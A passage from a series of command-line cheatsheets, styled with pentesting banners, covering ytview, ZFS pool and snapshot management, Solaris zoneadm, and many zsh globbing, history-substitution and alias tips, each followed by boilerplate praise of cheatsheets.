░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
251 - 🖥️ytview
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ytview command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██╗ ██╗████████╗██╗ ██╗██╗███████╗██╗ ██╗
# ╚██╗ ██╔╝╚══██╔══╝██║ ██║██║██╔════╝██║ ██║
# ╚████╔╝ ██║ ██║ ██║██║█████╗ ██║ █╗ ██║
# ╚██╔╝ ██║ ╚██╗ ██╔╝██║██╔══╝ ██║███╗██║
# ██║ ██║ ╚████╔╝ ██║███████╗╚███╔███╔╝
# ╚═╝ ╚═╝ ╚═══╝ ╚═╝╚══════╝ ╚══╝╚══╝
# ytview (Bash-Snippets)
# search and play youtube videos right from the terminal
# Search for youtube videos by title
ytview This is my search query
# Search for youtbe videos by specifying a channel
ytview -c numberphile
# After using one of the two above commands you will be able
# To pick from a list of videos and play it from the terminal
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ytview in a clear format. This allows users to quickly access the needed information for ytview without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ytview are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
252 - 🖥️zfs
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zfs command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███████╗███████╗
# ╚══███╔╝██╔════╝██╔════╝
# ███╔╝ █████╗ ███████╗
# ███╔╝ ██╔══╝ ╚════██║
# ███████╗██║ ███████║
# ╚══════╝╚═╝ ╚══════╝
# WARNING:
# In order to avoid headaches when moving ZFS physical devices around,
# one will be much better served to reference devices by their *immutable*
# ID - as in /dev/disk/by-id/* - rather than their block device name -
# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration
# order.
# For the sake of briefness, we'll use the following variables:
# ${device} device (/dev/disk/by-id/${device})
# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}})
# ${pool} ZFS pool (name)
# ${fs_vol} ZFS file system or volume (name)
# ${snapshot} ZFS snapshot (name)
## Pools
# Create a new "RAID-5" (raidz1) pool
# Recommended: use entire devices rather than partitions
zpool create ${pool} raidz1 ${device} ${device} ${device} [...]
# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} log mirror ${part} ${part}
# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} cache ${part} ${part} [...]
# Remove log or cache components
zpool remove zfs ${part} [...]
# Import (enable) existing pool from newly connected devices
# Note: this will create the /etc/zfs/zpool.cache devices cache
zpool import -d /dev/disk/by-id -aN
# Import (enable) existing pool using the devices cache
zpool import -c /etc/zfs/zpool.cache -aN
# Export (disable) pool (e.g. before shutdown)
zpool export -a
# List all (imported) pools
zpool list
# See pool status
zpool status ${pool}
# See detailed pool I/O statistics
zpool iostat ${pool} -v
# Verify pool integrity (data checksums)
# (watch progress with 'zpool status')
zpool scrub ${pool}
# Remove a failing device from a pool
# Note: redundant pools (mirror, raidz) will continue working in degraded state
zpool detach ${pool} ${device}
# Replace a failed device in a pool
# Note: new device will be "resilvered" automatically (parity reconstruction)
# (watch progress with 'zpool status')
zpool replace ${pool} ${failed-device} ${new-device}
# Erase zpool labels ("superblock") from a device/partition
# WARNING: MUST do before reusing a device/partition for other purposes
zpool labelclear ${device}
# Query pool configuration (properties)
zpool get all ${pool}
# Change pool configuration (property)
zpool set <property>=<value> ${pool}
# Dump the entire pool (commands) history
zpool history ${pool}
# More...
man zpool
## File systems / Volumes
# Create a new file system
zfs create ${pool}/${fs_vol}
# Create a new volume ("block device")
# Note: look for it in /dev/zvol/${pool}/${fs_vol}
zfs create -V <size> ${pool}/${fs_vol}
# List all file systems / volumes
zfs list
# Mount all file systems
# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path
zfs mount -a
# Create a snapshot
zfs snapshot ${pool}/${fs_vol}@${snapshot}
# Delete a snapshot
zfs destroy ${pool}/${fs_vol}@${snapshot}
# Full backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Incremental backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Query file system / volume configuration (properties)
zfs get all ${pool}
zfs get all ${pool}/${fs_vol}
# Change file system / volume configuration (property)
zfs set <property>=<value> ${pool}/${fs_vol}
# More...
man zfs
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command zfs in a clear format. This allows users to quickly access the needed information for zfs without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for zfs are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
253 - 🖥️zoneadm
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zoneadm command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗ ██████╗ ███╗ ██╗███████╗ █████╗ ██████╗ ███╗ ███╗
# ╚══███╔╝██╔═══██╗████╗ ██║██╔════╝██╔══██╗██╔══██╗████╗ ████║
# ███╔╝ ██║ ██║██╔██╗ ██║█████╗ ███████║██║ ██║██╔████╔██║
# ███╔╝ ██║ ██║██║╚██╗██║██╔══╝ ██╔══██║██║ ██║██║╚██╔╝██║
# ███████╗╚██████╔╝██║ ╚████║███████╗██║ ██║██████╔╝██║ ╚═╝ ██║
# ╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝
# Halt zone
zoneadm -z <zone_name> halt
# Delete Zone
zoneadm -z <zone_name> halt
zoneadm -z <zone_name> uninstall
# Verify Zone
zoneadm -z <zone_name> verify
# Installing Zone
zoneadm -z <zone_name> install
# Boot Zone
zoneadm -z <zone_name> boot
# Reboot Zone
zoneadm -z <zone_name> reboot
# List Zones
zoneadm list -cv
#==============================##==============================#
# CMD ZONEADM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command zoneadm in a clear format. This allows users to quickly access the needed information for zoneadm without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for zoneadm are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
254 - 🖥️zsh
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the zsh command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗███████╗██╗ ██╗
# ╚══███╔╝██╔════╝██║ ██║
# ███╔╝ ███████╗███████║
# ███╔╝ ╚════██║██╔══██║
# ███████╗███████║██║ ██║
# ╚══════╝╚══════╝╚═╝ ╚═╝
# ZSH Tips
#-----------------------#
zsh -f # start a "clean" version of zsh (without your startup files)
print $ZSH_VERSION
man zsh
man zshall
man zsh Zsh overview
man zshmisc Anything not fitting into the other sections
man zshexpn Zsh command and parameter expansion
man zshparam Zsh parameters
man zshoptions Zsh options
man zshbuiltins Zsh built-in functions
man zshzle Zsh command line editing
man zshcompwid Zsh completion widgets
man zshcompsys Zsh completion system
man zshcompctl Zsh completion control
man zshmodules Zsh loadable modules
man zshzftpsys Zsh built-in FTP client
man zshall Meta-man page containing all of the above info --index-search=age zsh
# get man info for zsh function age *N*
zinfo(){info --index-search=$1 zsh} *N*
/usr/share/zsh/htmldoc/zsh_toc.html
# Install on Linux
yum install zsh *N*
yum update zsh *N*
# install from source
wget --no-check-certificate https://sourceforge.net/projects/zsh/files/zsh/5.4.2/zsh-5.4.2.tar.gz
tar zxvf zsh-5.4.2.tar.gz
yum install gcc ncurses-devel # if required
cd zsh-5.4.2 && ./configure && make && sudo make install
# Global aliases
# Searching and filtering my mysql database with my own utility searchdb
searchdb client1 | grep -i website1 | fmt -50 | putclip
# How you can simplify this using 3 zsh Global Aliases
searchdb client1 G website1 F P
alias -g ND='*(/om[1])' # newest directory
alias -g NF='*(.om[1])' # newest file
#Example of use
cp NF ND # copy newest file to newest directory
cat NF > $(print NF).txt # *N*
# useful zsh stuff *N*
ls *(.) # list just regular files *N*
ls -d *(/) # list just directories *C*
ls *(.[3]) # third file *N*
vi *(.om[1]) # vi newest file
cd **/*.php(.om[1]:h) # cd to directory of newest php file *N*
gvim.exe *~vssver.scc(.om[1]) & # newest file ignoring any vssver.scc
vi -p *(.om[1,3]) # open 3 newest files in tabs (gvim)
ls -lt **/*(.om[1,20]) # list 20 newest files anywhere in directory hierarchy (very useful) *N*
ls -lt **/*.php(.om[1,20]) # list 20 newest php files anywhere in directory hierarchy (very useful) *N*
grep -i "$1" **/*.{js,php,css}~(libs|temp|tmp|test)/* # exclude directories from grep *N* EXTENDED_GLOB required
ls -lt **/*~*vssver.scc(.om[1,20]) # excluding vssver.scc *N*
ls -lt **/^vssver.scc(.om[1,20]) # excluding vssver.scc (simpler) *N*
ls -lt **/^(vssver.scc|*.ini)(.om[1,20]) # excluding vssver and any *.ini *N*
ls *(.)^php~*.c~*.txt # useful? *N*
ls (../)#junk2/down.txt(:a) # locate a file "upwards" *N*
vi *(m0) # re-edit all files changed today!
ls *(^m0) # files NOT modified today
ls -l *(m4) # list files modified exactly 4 days ago
ls -l *(.m4) # list files modified exactly 4 days ago (ignore directories)
vi **/main.php # where ever it is in hierarchy
ls -l **/main.{php,js,css} # *N*
ls fred^erick* # list all files fred* except frederick* *N*
ls *.^pdf # list all but pdf's *NN*
ls (x*~x[3-5]) # list files x* except x3 to x5
ls x^[3-5]* # list files x* except x3 to x5 *N*
ls **/*~*/.git/* # ignore all git subdirectories *~* matches a path *N*
vi !$ # vi last parameter
vi !-2:2 # second parameter of second but last command
vi !$:r.php # vi last parameter but change extension to .php
^php^cfm # modify previous command (good for correcting spellos)
ls *(.L0) # list pesky empty files (yes that is a zero) *N*
ls -l *(L-2) # list file size less than 2 bytes *N*
ls -l *(.L-20) # list file size less than 20 bytes - . ignore directories *N*
# zsh list largest / biggest files , files larger than
ls -l *(Lk+100) # list file size larger/greater than 100kb *N*
ls -l *(Lm+2) # list file size larger/greater than 2 mbs *N*
ls **/*(.Lm+10) # list files larger than 10MB anywhere in hierarchy *N*
ls -hlS **/*(.Lm+2) | less # list largest files largest first *N*
ls -hlS /**/*(.OL[1,10]) # find the 10 biggest files on your system *N*
# find 5 largest files in hierarchy with filter by file type & exclude directories
ls -lS **/*.(php|inc)~(libs|locallibs)/*(.OL[1,5]) # *N*
ls *(.m0) # modified today (last 24 hours)
ls *(.m-1) # modified today (last 24 hours)
ls *(.^m0) # not modified today
ls *.*(m3) # modified 3 days ago
ls *.*(mh3) # modified 3 hours ago
ls *.*(mh-3) # less than 3 hours
ls *.*(mh+3) # more than 3 hours
ls *.*(^mh3) # all files not 3 hours old
mv *(.mw+2) old/ # older than 2 weeks *N*
mv *(.mM+6) old/ # older than 6 months *N*
# counts requires extended globbing *N*
setopt EXTENDED_GLOB # lots of clever stuff requires this
ls DATA_[0-9](#c3).csv # match all files DATA_nnn.csv *N*
ls a(#c3).txt # match aaa.txt *N*
ls DATA_[0-9](#c4,7).csv # match DATA_nnnn.csv to DATA_nnnnnnn.txt *N*
ls DATA_[0-9](#c4,).csv # match DATA_nnnn.csv to DATA_nnnnn.txt etc *N*
ls DATA_[0-9](#c,4).csv # match DATA_n.csv to DATA_nnn.txt *N*
touch {1..5} {6,7,8,12} {00..03} # *N*
ls <-> <-6> <4-> <4-5> 0<-> {1..5} {2,3} {00..03} (4|5) [3-4] [3-47-8] 0? ?2 *2 # *N*
ls {p..q}<5->{1..4}.(#I)php(.N) # *N*
touch {y,y2}.cfm
ls y2#.cfm y{2,}.cfm y(2|).cfm {y2,y}.cfm (y|y2).cfm y*.cfm # *N*
touch {t,p}{01..99}.{php,html,c} # generate 600 test files *N*
#
grep -i "$1" */*.php~libs/*~temp/*~test/* # exclude directories lib,temp,test from grep *N* EXTENDED_GLOB required
# file ownership/permissions
ls -ld *.*(u:apache:)
# excluding files a-m but only if owned by apache
-rwxr-xr-x. 1 nobody (owner) apache (Group) 0 Feb 24 10:23 x.x
ls -l *.*~[a-m]*(u:nobody:g:apache:.xX)
# find all files owned by root (u0), world-writable (W), more than 10k in size (Lk+10) and modified during the last hour (m0)
ls **/*(u0WLk+10m0)
# find all files that don’t have the write permission to group in current directory and all subdirectories
ls **/*(.:g-w:)
# grep
grep -i "$1" **/*.{js,php,css}~(libs|temp|temp|test)/* # exclude directories from grep *N* EXTENDED_GLOB required
grep -iw '$direct' report/**/*.{inc,php} # searching for a php variable
# deleting double dot files & swap files *N*
rm **/.*.swp
# use tab to complete/display history item before executing
!1 # oldest command in your history
!! # previous command
!-2 # command before last
!$ (last argument of previous command)
!$:h (last argument, strip one level)
!$:h:h (last argument, strip two levels)
!?echo
echo !* !!:* (all parameters)
echo !$ !!:$ (last parameter)
echo !^ !:1 !!:1 (first previous parameter)
echo !:2-3 # echo previous parameters 2 to 3 *N*
echo !:2* # echo previous parameters 2 onwards *N*
echo !:2- # echo previous parameters 2 onwards omitting last *N*
echo !:-3 # echo first 3 previous parameters
echo !-2:2 (second parameter of second but last command)
echo convert_csv.php(:a) # echo full path *N*
touch 1 2 3 # *N*
!!:0 !^ !:2 !$ !#$ !#:2 !#1 !#0 # *U*
history # View recent commands
# history has built-in search (match) *N*
history -m 'yum*'
history -m 'yum*' 0
fc -l -m 'yum*' 0
!42 # Re-execute history command 42
# substitute previous command
r oldstr=newstr
!!:s/fred/joe/ # edit previous command replace first fred by joe
!!:s/fred/joe/ # Note : sadly no regexp available with :s///
!!:gs/fred/joe/ # edit previous command replace all fred by joe
mv Licence\ to\ Print\ Money.pdf !#^:gs/\\ // # rename file removing spaces
^fred^joe # edit previous command replace fred by joe
^str1^str2^:u:p # replace str1 by str2 change case and just display
echo chim
^chim^&-&ney-&-&-cheree # reuse LHS
!42:p
also use control-R
^str1^str2^:G # replace as many as possible
# in all of above remember <TAB> will display changed command WITHOUT executing it *N*
cd !?ls<TAB> #get command and parameters of a previous ls command
cd !?ls?:*<TAB> #get (just) parameters of a previous ls command
function scd(){setopt nonomatch;e=/dev/null;cd $1 &> $e||cd ${1}* &> $e||cd *$1 &> $e||cd *${1}* &> $e||echo sorry} *N*
function ddump(){diff -w ~dump/"$1" "$1"} # *N* diff local file with new one in dump
function cdump(){cp -p ~dump/"$1" "$1"} # *N* replace local file with new one in dump
# Generating a command from an earlier one
# How to recall the parameters of a previous command, on line 7 below recall the parameters of line 5
5> mv somefile1 /home/saket/stuff/books/
6> acroread somefile.pdf
7> mv somefile2 /home/saket/stuff/books/
> mv !?saket<TAB>
# Would bring up the whole line ready for a little editing
# or purist
> mv !?saket?:*<tab>
# Would just bring up the parameters
# If you know the history number of the line (say 5) with desired parameters you can try
> !5:s/somefile1/somefile2/
# and if you dont know the history number
!?saket?:s/somefile1/somefile2/
# Variable Substitution *N*
s=(fred joe peter);echo ${s/(#m)*/$MATCH[1,3]} # truncate strings in an array
# History Substitution Summary
# For CURRENT line that you are editing (the # designates current line)
# Remember Tab will expand the following
!#:0 command
!#^ first parameter
!#:1 first parameter
!#:1-4 first 4 parameters
!#$ last parameter
!#* all parameters
!#$:s/bash/zsh perform substitution on previous parameter
# backup a file with a prefix
cp longfilename.php backup_!#^
cp {,backup_}longfilename.php # same thing
# backup a file with a suffix
cp longfilename.php !#^:r.bak
cp longfilename.{php,bak} # expands to cp longfilename.php longfilename.bak
#For Previous Command (for comparison)
!-1 repeat whole command
!! repeat (shortcut)
!!0 command
!^ first parameter
!:1 first parameter
!:1-4 first 4 parameters
!:-4 !:0-4 first 4 parameters plus command
!!- all but last parameter *N*
!51$ last parameter of history entry 51 *N*
!$ last parameter
!* all parameters
!!:s/bash/zsh (or ^bash^zsh)
!^:t just file name of first parameter
!$:h just path of last parameter
!-2$:r just file name without extension of first parameter
For last but one command
!-2 repeat last but one command
!-2^ first parameter last but one command
!-2$ last parameter last but one command
!-2:2 second parameter of second but last command
!-2:s/bash/zsh
etc
For history command 42
!42
!:0 is the previous command name
!^, !:2, !:3, !$ are the arguments
!* is all the arguments
!-2, !-3, are earlier commands
!-2^, !-2:2, !-2$, !-2* are earlier parameters
ls / # recall/step through previous parameters *N*
fred='/bin/path/fred.txt'
echo ${fred:e}
echo ${fred:t}
echo ${fred:r}
echo ${fred:h}
echo ${fred:h:h}
echo ${fred:t:r}
cd !$:h (remove file name)
# cd to directory containing report.php
cd **/report.php(:h) *N*
cat !!:t (only file name)
# Convert images (foo.gif => foo.jpg):
$ for i in **/*.gif; convert $i $i:r.jpg
# examples of if then else conditionals *N*
[[ 0 = 0 ]] && echo eq || echo neq
[[ 1 = 0 ]] && echo eq || echo neq
if [ $# -gt 0 ];then string=$*;else;string=$(getclip);fi # get parameter OR paste buffer
var=133;if [[ "$var" = <-> ]] ; then echo "$var is numeric" ;fi
if [[ "$ip" = <-> ]] then # check ip address numeric *N*
if [[ "$1" == [0-9] ]] # if $1 is a digit
if (( $# == 0 ));
if [ $# -gt 0 ] # parameter cnt > 0 (arguments)
if [[ "$url" = www* ]] # begins with www
if [ "$p1" = "end" ] || [ "$p1" = "-e" ]
if [[ "$p2" == *[a-zA-Z][a-zA-Z][a-zA-Z]* ]] # contains at least 3 letters
if builtin cd $1 &> /dev/null ;
if [[ -e /c/aam/z$1 ]] # file exists
if [ $cnt -eq 1 ]
if (( ${#dirs} == 1 )); then # count array length
if [[ "$pwd" == *$site2* ]]
print ${param:&} (last substitute)
< readme.txt # < shorthand for more
# Directory substitution (magic)
# if you were in directory
# cd old new
/c/inetpub/dev.somehomes.co.uk/epsystem/eppigeon/
cd dev www
#would put you in parallel directory
/c/inetpub/www.somehomes.co.uk/epsystem/eppigeon/
# completion
cd /v/w/h/<tab>
# expand to
# cd /var/www/html/
# filtering the output of a command conventionally
print $(history -n -1|sed 's/.* //')
# ${${(z)foo}[2]} zsh filtering mechanism
print ${${(z)$(history -n -1)}[-1]}
print ${${(z)history[$((HISTCMD-1))]}[-1]}
gvim.exe $(history -n -1 | sed "s/^[^ ]* //;s/ .*//")
print ${${(z)history[$((HISTCMD-1))]}[2]}
# save last 4 history items to a file (without numbers) *N*
fc -ln -4 > /tmp/hist # no numbers
fc -ln 1 | grep rsync | gvim -
fc -l -5 # 5 most recent *N*
fc -l 1 5 # 5 oldest *N*
fc -l -10 -5 # 10th newest to 5 newest *N*
fc -l 1 | more # step through all history *N*
# ls
ls **/*.php
ls -ld *(/^F) # list any empty sub-directories
ls -ld **/*(/^F) # recursively list any empty sub-directories
print **/*(/^F) | xargs -n1 -t rmdir #delete empty directories
rmdir ./**/*(/od) 2> /dev/null # deletes empty directories
autoload zargs;zargs ./**/*.{php,inc,js} -- grep -i 'cons. unit' *N* EXTENDED_GLOB
zargs **/*.{js,php,css}~(libs|locallibs|test|dompdf)/* -- grep console.log *C* EXTENDED_GLOB
zargs ./**/*.(php|inc|js) -- tar rvf dev2$(date '+%d-%m-%Y').tar *N*
# grep whole file structure for php files with if ($var=4) (single equals) bug
zargs ./**/*.{inc,php} -- grep -i 'if *( *$[a-z0-9_]*=[0-9"]' ## detect if ($fred=2) type php errors (single equals) *N*
# selectively tar a web root *N*
zargs ./{html,live}/**/*.(php|inc|js)~(**/wiki|**/dompdf)/* -- tar rvf /tmp/web2$(date "+%d-%m-%Y").tar
zargs **/*.(php|inc) -- sed -i 's#ereg_replace("\([^"]*\)"#preg_replace("/\1/"#g' ## global sed substitute using zargs *N*
zargs /tmp/*(.m+30) -- rm
ls ^x* # list all but x*
#list all files without an extension ( no dot)
a=(**/*(.D));echo $#a # count files in a (huge) hierarchy *N*
ls *~*.*(.)
# delete all directories Pictures_of_* except Pictures_of_beautiful_flowers
rm -rf Pictures_of_^beautiful_flowers # selective delete *N*
ls x*~(x3|x5) # list files x* except x3 and x5
ls **/fred*~*junk*/* # list all files fred* unless in a junk directory
# grep, dont use egrep, grep -E is better
# single quotes stop the shell, " quotes allow shell interaction
grep 'host' **/(*.cfm~(ctpigeonbot|env).cfm)
grep -i 'host' **/(*.cfm~(ctpigeonbot|env).cfm)~*((#s)|/)junk*/*(.)
egrep -i "^ *mail\(" **/*.php
grep "^ *mail\(" **/*.php~*junk*/* #find all calls to mail, ignoring junk directories
# grep '.' dot matches one character
grep b.g file # match bag big bog but not boog
# grep * matches 0 , 1 or many of previous character
grep "b*g" file # matches g or bg or bbbbg
# grep '.*' matches a string
grep "b.*g" file # matches bg bag bhhg bqqqqqg etc
# grep break character is \
grep 'hello\.gif' file
grep "cat\|dog" file matches lines containing the word "cat" or the word "dog"
grep "I am a \(cat\|dog\)" matches lines containing the string "I am a cat" or the string "I am a dog"
grep "Fred\(eric\)\? Smith" file # grep fred or frederic
# grep back references (memory)
grep -i "<H\([1-6]\).*</H\1>" *.html # matches pairs of tags
tel blenkinsop | grep -o "[[:alnum:][:graph:]]*@[[:alnum:][:graph:]]*" # filter just an email address from a text stream (not zsh) *N*
# ls
ls *.h~(fred|foo).h # same thing
ls (x*~x[3-5]) # list files x* except x3 to x5
ls *[^2].php~*template* # list files with 2nd filter
ls (xx|yy) # list xx or yy
ls *.(jpg|gif) # list graphic files
ls fred{joe,sid}.pl
ls fred{09..13}.pl # range
ls fred<76-88>.pl# list all files fred76.pl to fred88.pl range
ls fred<76->.pl # list all files fred76.pl to fred9999*.pl etc
ls {_,}fred.php # list files _fred.php fred.php
ls (_|)fred.php # same effect by globbing
ls *.{jpg,gif}(.N) # do not break if one or other image type absent
# FNG optionally matching a character
ls -l *y{2,}.cfm # matches *y.cfm and *y2.cfm *N*
ls -l *y(2|).cfm # matches *y.cfm and *y2.cfm *N*
ls *{y2,y}.cfm # matches *y.cfm and *y2.cfm *N*
ls *y2#.cfm # matches *y.cfm and *y2.cfm *N*
ls foot(fall)#.pl # match optional string fall
# short version of recursive **/*.php *N*
setopt GLOB_Starshort
ls **.php
setopt no_case_glob # set ignore case for ls etc
zstyle ':completion:*' matcher-list 'm:{a-zA-Z}={A-Za-z}' 'r:|[._-]=* r:|=*' 'l:|=* r:|=*' # case insensitive completion for cd etc *N*
# globbing modifiers
# :e just the suffix (Extension)
# :r removes the suffix (Remove)
# :t takes away the path (Tail)
# :h takes away one level (Head)
# :a adds full Path (Add)
# . means must be regular files not directories etc
# *(om[1]) picks most recently modified file
# (.N) no warning message if any file absent
ls (#i)*.pmm # case insensitive globbing (note exact syntax)
ls *(.[2]) # second file in list *N*
ls *(om[1]) # print the most recent file
cp *(om[1])<TAB> # will complete file name
ls *(.om[1]) # print the most recent file (not directory)
ls -l *(Om[1]) # oldest file
mv *(.om[2,$]) old/ # move all but newest file *N*
ls -lt **/*.txt(D.om[1,5]) # list 5 most recent files in hierarchy
# list 5 most recent files in each sub-directory
dirs=( '' **/*(DM/) ) eval 'ls ${^dirs}*(ND.om[1,5])'
ls {^dev*,}/index.php(.N) # ignore directories beginning dev*
ls (dev*|fred*|joe*)/index* # does not break if no matches
ls **/index.php~dev*(/*)## # ignore subdirectories dev* multi-level
vi *(.om[1]^D) # vi newest file ^D means switch off GLOB_DOTS ie ignore dot files
ls *.txt(.om[1]) # ls newest *.txt file *N*
ls -tld **/*(m-2)# list files modified in last 2 days in hierarchy
ls *(.om[1,5]) # print the 5 most recent files
ls *(.Om[1,5]) # print the 5 oldest files
ls -l *(m4) # list files modified exactly 4 days ago
ls -ltd *(mw3) # list files 3 weeks old
ls -1ld *([1,10])# list just 10 files one per line , no directories
ls *(m-1) # files modified today
ls *(m0) # files modified today
ls *(^m0) # files NOT modified today *N*
vi *(m0) # re-edit all files changed today!
cp *.mp3(mh-4) /tmp # copy files less than 4 hours old
ls -ltd *(mh0) # list files modified only in last hour
ls *.{aux,dvi,log,toc} # rm latex temp files *C*
rm ./*(Om[1,-11])# removes all files but the ten newest ones (delete all but last 10 files in a directory)
mv *.*(^m-1) old/ # move all but today its files to sub-directory archive older files *N*
# exact dates (N)
ls -l *.*(mM4)
autoload -U age
ls -tl *.*(e#age 2014/06/01 now#)
ls -tl *(.e#age 2014/06/01 2014/06/30#)
ls -lt *(.om[0,5]e#age 2017-09-01 2017-10-01#) # 5 newest files in September *N*
mv *(.e#age 2017-10-01:00:00:00 2017-10-08:23:59:59#) /tmp # mv all Sept Files
ls [01]<->201[45]/Daily\ report*.csv(e#age 2014/10/22 now#)
files=(${(f)"$(ls *$**)"}(.N)) # store matching files *N*
ls *(n:t) # order by name strip directory
ls **/*(On:t) # recursive reverse order by name, strip directory
